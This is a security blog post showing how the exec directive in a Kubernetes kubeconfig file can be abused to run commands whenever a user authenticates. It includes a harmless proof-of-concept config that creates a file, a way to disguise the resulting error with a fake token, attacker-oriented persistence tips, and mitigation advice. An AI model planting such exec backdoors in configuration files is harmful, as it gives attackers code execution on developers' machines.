Introduction

Kubeconfig files are used by every developer who interacts with a Kubernetes cluster, and provide information which allows the developer’s machine to connect and authenticate to a cluster. While default administrative credentials use hardcoded client certificates and keys, this is generally a bad idea for security. Client certs are unencrypted on disk, and cannot be revoked if compromised1.

As a result, if an attacker or red teamer gains access to a developer’s laptop, kubeconfig files are a great target for lateral movement, and ultimately persistence in a cluster.

In order to somewhat mitigate the risks of static certificates, many clusters make use of OpenID Connect and allow authentication through an external provider. For cloud providers this might be your cloud IAM, and on-prem clusters may use an external Active Directory or something more lightweight.

Some providers will use a snippet in the users section of the kubeconfig file to contain the tokens, which would be subject to whatever policies are applied on the idp’s side. These tokens could still be used by an attacker with access to the file, but additional protections like session timeouts and MFA requirements can be added.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
users:
- name: oidc-user
  user:
    auth-provider:
      name: oidc
      config:
        client-id: your-client-id
        client-secret: your-client-secret
        idp-issuer-url: https://your-domain.com
        id-token: <your-token>
        refresh-token: <your-refresh-token>

One notable exception is AWS’ EKS, which does not use an auth-provider block to pass a token. Instead, it uses the exec directive:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
users:
- name: eks-user
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: aws
      args:
        - eks
        - get-token
        - --<cluster-name>
        - <your-cluster-name>
        - --region
        - <your-region>

Hacks

This directive is what we’re most interested in today. In normal EKS usage, it’s used to get a new token through the AWS CLI, which is used to authenticate subsequent requests. However, the attacker-minded amongst us may notice that this is content in a file that cause a command to run on the local machine. That is to say, it’s a command execution vector.

This is neither new nor a “vulnerability”. While writing this up from my notes I found a bunch of prior work, again indicating that nothing is new, and that we are lucky to have so much existing knowledge available. Unfortunately, a good amount has been lost to bitrot.2

We can validate this by crafting a malicious Kubeconfig. As usual with any demo, I created a quick test cluster using kind, then swapped the user certs for an exec helper.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: <-- snip -->
    server: https://127.0.0.1:49249
  name: kind-exec-test
contexts:
- context:
    cluster: kind-exec-test
    user: kind-exec-test
  name: kind-exec-test
current-context: kind-exec-test
kind: Config
preferences: {}
users:
- name: kind-exec-test
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - ./hacked
      command: touch

As a minimal PoC, this kubeconfig will run touch ./hacked, which will create a file called hacked in the current working directory. We can see this working below.

1
2
3
4
5
6
7
8
9
➜  demo ls -l            
total 8
-rw-r--r--  1 iain  wheel  1916 24 Apr 10:12 kubeconfig
➜  demo kubectl get pods --kubeconfig ./kubeconfig 
Unable to connect to the server: getting credentials: exec plugin is configured to use API version client.authentication.k8s.io/v1beta1, plugin returned version client.authentication.k8s.io/__internal
➜  demo ls -l
total 8
-rw-r--r--  1 iain  wheel     0 24 Apr 10:13 hacked
-rw-r--r--  1 iain  wheel  1916 24 Apr 10:12 kubeconfig

The error around API versions being used isn’t really a problem for us since we aren’t trying to use an actual auth provider. In some experimentation I found that it’s possible to swap this error out for a different one (i.e. an unauthorised rather than a version error) by running a malicious command and then echoing a dummy auth token, with the following command:

1
2
3
4
5
6
7
8
9
- name: kind-exec-test
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - -c
      - |
        touch /tmp/hacked > /dev/null 2>&1
        echo '{"kind":"ExecCredential","apiVersion":"client.authentication.k8s.io/v1beta1","spec":{},"status":{"expirationTimestamp":"2025-04-24T13:11:49Z","token":"1234"}}'        

This obviously isn’t great for persistence, as a developer would likely end up looking into the kubeconfig file and realising what was up. At that point it’s luck whether they raise a security incident, or just reset the file, but either way your command execution is burned. However it might be enough to get you an initial command execution, or to backdoor a kubeconfig in an organisation where the exec helper is already used.

At this point we have command execution running as the user who connects to a cluster, any time they need to reauthenticate to a cluster. While we’ve demonstrated that it’s possible to touch a file, it is also possible to perform much more malicious commands. More devious activities are left as an exercise to the reader.

Mitigation

The previous research I’ve linked also includes a tool release which scans kubeconfig files for any dodginess, but I would argue that this is an instance where it’s better to rely on the human factor. Kubeconfig files are an avenue to compromise in much the same way as other supply chain attacks are, but the files are generally reasonably simple to read. If for some reason you have a legitimate business requirement to use kubeconfig files from arbitrary sources, make sure you read the files before using them. Any exec parameters should be viewed with particular caution.


  1. Shout out to Kubernetes issue 18982, which turns 10 this year ↩︎

  2. This has been discussed by the Kubernetes SIG-Security-Docs subproject a couple of times, specifically here and here

    The official Kubernetes documentation does address this exact behaviour, but the page is a little in the weeds.

    I also found references to a blog from Banzai Cloud, which is no longer available, but was grabbed by the Wayback Machine and a subsequent tool release which attempts to solve a number of the issues here. ↩︎